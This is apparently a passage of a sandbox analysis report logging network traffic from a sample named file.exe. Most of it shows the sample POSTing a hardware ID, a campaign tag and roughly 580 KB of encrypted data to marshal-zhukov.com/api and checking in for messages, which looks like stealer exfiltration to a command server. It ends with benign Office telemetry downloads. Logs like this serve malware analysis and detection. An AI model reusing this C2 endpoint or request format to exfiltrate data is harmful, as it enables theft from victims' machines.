2024-11-28 12:09:43 UTC	1038	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:09:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ft7lcd46l0rhlca9rmvs9fupc1; expires=Mon, 24-Mar-2025 05:56:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0uj3yVQbVhZ9scwoOIp6oEb53bhh30NBr422fitwUhiVWqaXZ4TjOtRAHmyvX9leE2AnMHAn7iP%2BzTyfAp2joLtWUZ8eSgUQc7hruyNO1BJLTrUy%2FHQxQs7cMBCONRkasloj3FM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e9a400aec2641f8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1732&min_rtt=1722&rtt_var=667&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=2195&delivery_rate=1615044&cwnd=220&unsent_bytes=0&cid=1b8346baae22b57f&ts=5702&x=0"
2024-11-28 12:09:43 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-28 12:09:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49743	104.21.82.174	443	7496	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:09:45 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=I2UE1T3QEEK User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 583702 Host: marshal-zhukov.com
2024-11-28 12:09:45 UTC	15331	OUT	Data Raw: 2d 2d 49 32 55 45 31 54 33 51 45 45 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 44 44 36 42 39 36 32 34 46 32 36 41 32 41 31 45 46 41 33 44 36 33 42 36 39 45 37 43 41 31 34 0d 0a 2d 2d 49 32 55 45 31 54 33 51 45 45 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 49 32 55 45 31 54 33 51 45 45 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 49 32 55 45 31 54 33 51 45 45 4b Data Ascii: --I2UE1T3QEEKContent-Disposition: form-data; name="hwid"6DD6B9624F26A2A1EFA3D63B69E7CA14--I2UE1T3QEEKContent-Disposition: form-data; name="pid"1--I2UE1T3QEEKContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--I2UE1T3QEEK
2024-11-28 12:09:45 UTC	15331	OUT	Data Raw: a1 fc e6 7f 7c d5 a2 18 17 36 a4 5f 4c 3a 7e 6d d5 ac 77 57 e7 b0 2d 32 2a aa 92 b7 4d 66 b9 39 4d 74 eb 15 35 a9 c4 41 7b 9f d0 c5 2c 55 6c 44 45 fc 71 26 f0 3e 08 95 5d aa 99 29 bd c6 8f 1b 18 dc ca 2b 24 3e 86 bd d4 09 03 25 4a 95 08 fa f3 f4 46 43 6d cc d0 91 b3 93 da e1 7f 7d dc 27 6a 83 b9 dd d2 4f 70 e6 7f 5e 78 70 6a cd 7c 46 a6 ab ea 41 b6 3a 9a 3d ad 6e ca 7e ff 3e 15 a2 ef 30 15 b2 a1 af 9a 77 b0 a9 7a a2 1a 94 24 ed 09 29 bc 3b d3 d2 c5 79 26 bf 02 37 c8 df 03 6d 41 d5 d1 bd 09 a7 39 3b 66 0b 4d c2 dc 0f a5 ec c5 4d 33 86 5c dc 7c 94 bb 56 79 43 78 1b ce e7 af af d7 1c a4 9e 67 a7 cf fb c4 08 03 a0 17 41 b5 46 a5 d0 2c 8b c4 e8 3f c5 bb 57 4f fa 2d 7f 09 cf 01 3d c2 be b7 75 9f 80 9e 6a c0 0e de bd 9e 7c f0 93 eb 6a 4a 59 60 a7 9b 0a df 7d 36 Data Ascii: \|6_L:~mwW-2*Mf9Mt5A{,UlDEq&>])+$>%JFCm}'jOp^xpj\|FA:=n~>0wz$);y&7mA9;fMM3\\|VyCxgAF,?WO-=uj\|jJY`}6
2024-11-28 12:09:45 UTC	15331	OUT	Data Raw: a8 62 1a b7 62 89 84 8d 54 10 6e 03 f9 ff db 7b 48 c2 8f 61 ec 82 7a 4d 4b 72 6f bc a2 d8 28 b0 27 35 bd 6c 84 82 e7 47 e3 38 40 f1 53 31 d8 9f 37 53 da 7d e3 c9 61 82 4a 40 7a 17 53 6e 36 5b c7 d2 b9 ce da 08 25 ea 65 f1 3c 9a 83 41 b0 9b b2 36 94 f7 42 21 9a 3e b4 05 16 3d 0e 99 5d 6c 90 14 d4 75 3b ff 5e e9 82 df be 48 21 b5 d7 a9 34 c2 77 5a 66 06 9c c0 e7 0b 41 27 2f aa fe be c3 56 12 44 32 09 83 e8 26 bb cb 79 9c 2b 62 d8 cc 56 98 5f ec f5 7a 12 c0 37 69 7d 67 b3 fb ab 80 72 4d 25 56 73 cd ab eb 69 a8 9d cb c6 c0 63 58 99 d3 6d 06 dd 3a 8d 98 df cb e3 34 da 0a 51 f7 61 4e 4a 9e 27 75 30 22 bd 78 63 08 cf 23 be f1 88 ba 42 bc 0f 1d 2a c5 d9 e7 19 c0 f1 7b f3 0f 81 f2 7f 91 81 b1 39 5f 1c b5 f7 45 d7 0f 6f 97 de 94 8e 0a f7 9d ba 06 cc 44 64 96 1b 0b Data Ascii: bbTn{HazMKro('5lG8@S17S}aJ@zSn6[%e<A6B!>=]lu;^H!4wZfA'/VD2&y+bV_z7i}grM%VsicXm:4QaNJ'u0"xc#B*{9_EoDd
2024-11-28 12:09:45 UTC	15331	OUT	Data Raw: 2e 9d 38 60 18 15 be 17 1c 37 40 9c 31 2e e2 8b 0e ba 87 61 ac 8e 34 df df 30 49 34 06 2b 29 17 59 7f f4 0c fa 8f a5 0e cd 3c 0f 5f 81 72 90 c1 17 1d 88 5d 89 db d5 47 ee be 6a be 65 6d fc 88 61 d3 11 e4 01 04 21 e7 9e 73 76 05 8a bf 3b ab 96 06 6b 55 0a 38 a7 07 84 c8 be 9c a3 ec 31 14 08 cf 6e a9 95 c8 b8 fc 5f fc fe b8 73 c3 47 fa c2 97 4f de 17 2c 3a 07 b6 d8 cc 0b 9e af b9 3b 10 40 09 f0 da aa dc 83 ad ee be 60 7f 3e aa 5a 54 bb 54 00 1c 4a 20 b2 21 d7 79 69 13 b7 85 52 f9 6d 22 a5 b2 20 8f 45 f4 ab bb 13 15 2f 9c 52 e1 7b 7b 13 78 ce 97 99 10 4d 01 69 cb 30 b2 9f 1b de 4c a1 6f 44 de e1 9c 84 78 13 e0 91 4b 19 00 f9 9d 20 7e 37 f3 e5 f2 e8 79 82 e8 73 86 81 9e ba e4 7d 48 6d 1d 01 34 03 3c a0 10 17 cb 6a 1b 60 35 79 c1 a7 20 42 ee d3 a2 12 9e f4 94 Data Ascii: .8`7@1.a40I4+)Y<_r]Gjema!sv;kU81n_sGO,:;@`>ZTTJ !yiRm" E/R{{xMi0LoDxK ~7ys}Hm4<j`5y B
2024-11-28 12:09:45 UTC	15331	OUT	Data Raw: 30 bd 40 6a 7d c5 95 27 ed ad 75 1d e6 27 9c ba ea 0f a3 a1 38 27 91 d7 de 3c a1 f0 5a d3 1a 8f 52 53 8a 8a 64 0f 08 d7 f3 e5 8a e0 14 fd 94 0e 72 73 a3 43 1c a1 57 b2 eb a4 95 cf 4b 6b 34 ac 58 52 73 ae a9 c8 6f 37 89 31 68 a8 ab ea 56 42 7d 67 e4 3d 31 8b bd 22 2e 13 7c a8 d6 4a 12 9c b8 d1 78 69 c7 5b 60 ce 71 6f 34 db 11 fa da 0f 9f ef af 9f d9 1c f9 d1 a7 27 c5 96 d7 68 a4 cd b4 ec d7 1e 8d 88 8d 49 63 f0 84 42 f1 f2 ae 5f ee 57 ae 96 a9 00 9a ab ca e0 f4 12 64 56 1d 6e 97 a3 a2 8a 9f 0f 6d 5f 59 f3 1b 6d db b0 ac 68 59 7b bd e9 16 17 59 b7 ae 76 90 27 51 45 65 a0 71 23 de e3 90 48 9a 21 17 b5 0d d8 9b e6 69 86 fe 1c 1d e5 b6 01 2d 08 fe fb 9e 8a c3 24 d3 0a 4e c8 8f 68 d1 e6 bb 83 ab de e9 24 87 bc 5a ae 0c a7 75 8a 27 f1 30 20 5e 20 b6 38 88 22 b4 Data Ascii: 0@j}'u'8'<ZRSdrsCWKk4XRso71hVB}g=1".\|Jxi[`qo4'hIcB_WdVnm_YmhY{Yv'QEeq#H!i-$Nh$Zu'0 ^ 8"
2024-11-28 12:09:45 UTC	15331	OUT	Data Raw: fd 56 7c d1 bf dd 76 1f d7 0d 60 79 a5 62 6d e0 c9 b6 55 78 10 71 98 69 d1 ad f2 3a 2d 47 62 53 4c 7a 3a a4 64 0b bb b5 37 65 c4 62 6f e6 0d 7c 59 83 89 cc 04 34 3f 7c 8f 11 b8 e8 2a 1f aa ef dc 5a 63 ec 89 11 39 53 85 c0 79 a9 e4 98 45 f1 d6 90 c7 a9 63 b3 c9 d5 0e 07 bc 26 fa d4 0a d3 0b 44 67 c8 48 f3 49 be ef 45 be 82 7d 31 5e ea 3a d9 bb 94 d5 31 aa 80 17 12 15 65 ae cd a7 16 62 fb fd 33 5d 6c 26 05 0e eb 34 7b fb 6e ed 13 4a 4e d8 9b a7 c3 e5 d3 4b 84 8c 3c 41 f1 a1 91 1d 20 73 e1 1c b3 81 71 e8 b2 47 ac 29 96 35 f5 b1 e0 53 65 17 e4 96 12 26 80 1c 61 47 fc 8a 7f 42 a4 11 b0 8b b9 3c 53 03 d3 40 8d 4a d8 e4 f4 4c 4e 33 0e ec 57 6b b7 87 1f 83 19 c5 ea ff 18 25 ad c1 93 ad 57 78 02 f7 02 16 54 e5 7b 91 48 f3 23 a7 2a 67 aa 87 0f bc d2 dd f5 d5 b9 77 Data Ascii: V\|v`ybmUxqi:-GbSLz:d7ebo\|Y4?\|Zc9SyEc&DgHIE}1^:1eb3]l&4{nJNK<A sqG)5Se&aGB<S@JLN3Wk%WxT{H#gw
2024-11-28 12:09:45 UTC	15331	OUT	Data Raw: 0a b6 d9 67 2e 7d ba fc 6f b6 43 fe 8e d2 95 16 c3 67 fd 77 ab 8c 4b e7 ba fa ff be 72 b7 f4 5b ed 3f af ee 94 ed 2b 5d 9a d4 dd 4d e0 f6 b6 fe 5d c5 fd 33 bc 87 b0 b1 94 d6 8a 5d 7c a5 0c 7a d2 04 06 29 30 2c 22 60 52 b5 79 5d 14 a4 31 c0 62 dd f8 ef 43 20 1b 05 33 b5 33 b5 70 16 80 90 0d a1 10 08 71 b0 2e 0e e5 bc 1e 50 fb 75 1a c9 0b a5 e0 e4 96 d9 07 7b 0c 10 bc 70 51 fc f0 7e 42 d6 e6 c5 fe f4 8f 1a df 77 8a 98 a2 c3 61 f8 59 d3 e5 e5 ee ee ca 3f 0b 57 45 53 c3 d8 86 39 66 1f 62 58 de de 1b ee 2f 1e 41 a4 0c 2f fa 21 30 6b ed 2d 0c 44 04 b1 2d 92 db cd 11 79 cb eb 25 8f 9a 6f 5f 16 d5 c4 f3 52 6c ff d1 a5 87 17 3c f1 6d ff c0 ab f2 50 97 1c 2c 0f dd 29 05 41 18 f8 10 06 ff 6e 17 5e 00 f1 67 2a 3d 5b d0 66 ac ca 8f 8f 7e fc ed 78 ba 00 b8 f4 83 1d fb Data Ascii: g.}oCgwKr[?+]M]3]\|z)0,"`Ry]1bC 33pq.Pu{pQ~BwaY?WES9fbX/A/!0k-D-y%o_Rl<mP,)An^g*=[f~x
2024-11-28 12:09:45 UTC	15331	OUT	Data Raw: 1b 4a 6b 3e 28 d9 57 a2 72 12 f9 68 61 2d 24 e3 68 95 3f 3b 19 c4 0d 31 c2 8c 58 05 f1 9b 93 fc 60 84 6f 95 74 67 e2 e8 46 5f 46 ce 7f ae e5 77 19 c1 c5 ac 9b 77 0d e6 22 e6 95 ee 70 73 04 07 0b be ec 4e fb 61 72 df 6e c3 7b b1 b4 2d 4d 29 a5 35 b4 a6 c2 e5 d2 a5 cd 4d 36 8b 73 3f de 8c a3 cf 38 3a b7 6c 11 38 21 05 f7 5a 48 74 03 6a 8c c4 ff 82 c7 6c 70 39 f3 31 81 65 39 72 24 92 33 5b 3e e1 ea 32 38 53 be dc bd c2 41 2a 2a 86 94 b1 59 28 2d 2c 6d 32 e5 a9 7f c9 82 12 6e 4d 53 20 06 63 c9 47 e2 b3 2c 6d 22 48 12 b2 7e 11 ce 0d 20 f5 2a b6 76 58 54 b8 ff 5e 50 68 ad a4 1c 21 24 16 7d 63 c4 11 64 34 37 38 e7 80 cd d0 08 b4 eb 5a 2d cc fb 92 71 09 8b 8f 7f ff 58 10 1e 16 84 fe a4 d1 dd 83 3f 0b 31 56 fd 67 b6 26 fc 4f 55 f1 05 9f e9 09 68 ba f5 2d 6d e4 bf Data Ascii: Jk>(Wrha-$h?;1X`otgF_Fww"psNarn{-M)5M6s?8:l8!ZHtjlp91e9r$3[>28SA*Y(-,m2nMS cG,m"H~ vXT^Ph!$}cd478Z-qX?1Vg&OUh-m
2024-11-28 12:09:45 UTC	15331	OUT	Data Raw: 48 2e 43 05 5d 20 b9 91 60 95 93 bf 67 8e 4b 53 3f 26 ea 8c ae 5e 74 4b 0c c2 74 05 7d ad 61 82 95 dd 33 36 f5 f6 6d eb 8e a7 7e fd a9 ab fd 7b 5b 90 5d fe 02 8f 28 3a f2 66 42 c8 bb 11 94 d7 a5 d1 49 cb 37 c2 e0 24 b4 57 6b da e8 b3 ea 14 a1 80 85 6f 19 94 99 85 5d 98 1a 27 f2 4d d4 2e d4 b7 55 9a 1c 61 d9 9f 7a 0d 78 fd 48 d8 1f c1 cf 31 40 37 17 5a 46 31 38 65 79 68 17 be fc 04 35 8f 8d 81 7c 2a 91 4d 8a ae ba 8b b6 a3 67 1b 01 1c 56 6a 1b 29 b6 3b 65 17 4f b5 55 70 b4 04 6b 80 85 7e ad bf 78 e5 b2 9f 76 74 dd ed 21 32 2c df 00 61 f0 78 21 c5 cb 6f 55 94 ef 35 d8 eb ce ec 5a 7b a1 2a f4 d8 58 e7 7e 54 fa 05 d6 11 a4 ea ac 06 3e 75 dd 36 6f e3 99 1f de a6 9b 1f a7 7a 3e 8f a5 78 f8 bd 2b a0 65 e0 0c 16 c7 47 36 4e f0 5b 7f 0c a3 75 49 98 7c ff 26 d6 ca Data Ascii: H.C] `gKS?&^tKt}a36m~{[](:fBI7$Wko]'M.UazxH1@7ZF18eyh5\|MgVj);eOUpk~xvt!2,ax!oU5Z{X~T>u6oz>x+eG6N[uI\|&
2024-11-28 12:09:45 UTC	15331	OUT	Data Raw: 4d 7b e8 c0 55 56 be 2a df 21 a6 95 7d 76 d0 ca 79 5c ef 74 8a 3a 54 f5 8d 5c 02 59 56 ca 60 66 eb 8c a1 8d ea 29 32 32 cd a1 8d 8a 1a e5 b9 66 c2 9c 56 37 ed fc b3 df fa 92 50 6d 12 c5 69 32 82 52 86 79 25 e2 90 77 99 5c 1b 26 0b 6d 91 f9 54 29 04 44 ec 8a 02 09 47 59 9c 75 ff 31 22 bb 2f a6 3d b4 14 d7 5c 17 90 ff 8a 81 ce d9 a5 58 fe ef 38 29 fb a3 d2 da 37 39 da b7 e5 d3 03 6c 11 e5 08 06 79 fe d7 45 5c 61 b2 15 b3 c6 bb 1f a5 ba a7 3f a4 48 ba 4f 77 6a 99 e5 50 97 15 69 5f fb 4e a5 9c c0 fa 91 99 52 5a 74 9e d8 f4 ad bc 5b 39 ac d0 4f 5b b2 ff 9d 30 73 62 7e 3b 20 39 c5 86 e2 be 5a 9c 0a 1f f8 d7 cb 60 cf f2 87 ba d9 17 b3 91 ef a5 1b bd c2 5f 2e 56 eb cd b8 2b cf 5a fe 83 3e fb 0f da 35 42 6a b6 5a b4 63 ed 1b ab 6f a6 34 ed 63 5f c0 13 e9 c2 bc e9 Data Ascii: M{UV*!}vy\t:T\YV`f)22fV7Pmi2Ry%w\&mT)DGYu1"/=\X8)79lyE\a?HOwjPi_NRZt[9O[0sb~; 9Z`_.V+Z>5BjZco4c_
2024-11-28 12:09:50 UTC	1048	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:09:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9ccpt3vf5gtbksdj3uudvokinj; expires=Mon, 24-Mar-2025 05:56:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mV6TDVujGlKvEESfWMXVmaewMV0Ku0fwEpdpkgqvixPrtETv9tW1YuyMjfafYq%2F8iSx6kUjC68%2F4GFkPUuvmuN4oLPppRPT98Qgv1Nmb13%2B%2BcDiU7J4i2Y9x3DVStwABrffM684%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e9a403999470cb2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1496&min_rtt=1490&rtt_var=570&sent=347&recv=608&lost=0&retrans=0&sent_bytes=2847&recv_bytes=586288&delivery_rate=1898569&cwnd=147&unsent_bytes=0&cid=0ed820a50fea5540&ts=5548&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49744	104.21.82.174	443	7496	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:09:52 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: marshal-zhukov.com
2024-11-28 12:09:52 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 36 44 44 36 42 39 36 32 34 46 32 36 41 32 41 31 45 46 41 33 44 36 33 42 36 39 45 37 43 41 31 34 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=6DD6B9624F26A2A1EFA3D63B69E7CA14
2024-11-28 12:09:52 UTC	1038	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:09:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9i7hfc3q695o6ne6l6ugt6373c; expires=Mon, 24-Mar-2025 05:56:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GWAAYtbP9N1obP%2FrR0fDRw8ZFQbaqEzZxYDXP3abWlq4l0fqPXvksVfFPo3VbujLgo41g0CKDua%2FqiGa9%2FY59gJHzVdjOPax4teKpp5xKYtlBwvYFLh5Une5BU3bb40AF2OL2N0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e9a40662cf7c344-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1493&min_rtt=1487&rtt_var=570&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=990&delivery_rate=1899804&cwnd=215&unsent_bytes=0&cid=a23d4c6a2a28a8ca&ts=744&x=0"
2024-11-28 12:09:52 UTC	214	IN	Data Raw: 64 30 0d 0a 6b 73 74 33 42 37 64 37 6e 35 4f 33 6e 52 6f 67 4f 61 47 2b 74 75 71 52 31 76 78 74 5a 5a 4c 75 56 58 72 4c 70 73 69 63 66 2b 2f 4a 73 46 56 79 6c 55 47 39 2b 38 50 70 61 68 70 6c 6a 75 4b 5a 32 36 6e 6a 30 6c 39 55 70 38 42 6b 53 2f 69 49 2b 61 6f 6a 77 50 32 74 45 56 75 59 48 2f 72 31 6d 66 68 69 52 52 75 4e 6e 4e 43 65 73 2b 7a 4d 51 55 66 33 7a 47 39 4c 74 6f 71 7a 76 67 72 4e 71 4f 6b 66 63 38 4d 4c 70 63 2b 59 77 54 55 52 41 5a 53 51 68 4e 75 6b 2b 4d 31 63 56 72 7a 66 59 79 62 6b 31 62 7a 35 48 6f 4c 4f 35 41 56 6d 32 52 2f 77 2f 70 6e 34 59 6b 55 62 6a 5a 7a 51 6e 72 50 73 7a 45 46 48 39 38 78 76 53 72 62 37 0d 0a Data Ascii: d0kst3B7d7n5O3nRogOaG+tuqR1vxtZZLuVXrLpsicf+/JsFVylUG9+8PpahpljuKZ26nj0l9Up8BkS/iI+aojwP2tEVuYH/r1mfhiRRuNnNCes+zMQUf3zG9LtoqzvgrNqOkfc8MLpc+YwTURAZSQhNuk+M1cVrzfYybk1bz5HoLO5AVm2R/w/pn4YkUbjZzQnrPszEFH98xvSrb7
2024-11-28 12:09:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:09:55 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:09:56 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:09:56 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Wed, 27 Nov 2024 15:11:14 GMT ETag: "0x8DD0EF5BC53602D" x-ms-request-id: a5a19dc6-401e-008c-1dff-4086c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T120956Z-174f78459685726chC1EWRsnbg0000000yk00000000010cs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:09:56 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-28 12:09:56 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-28 12:09:56 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-28 12:09:56 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
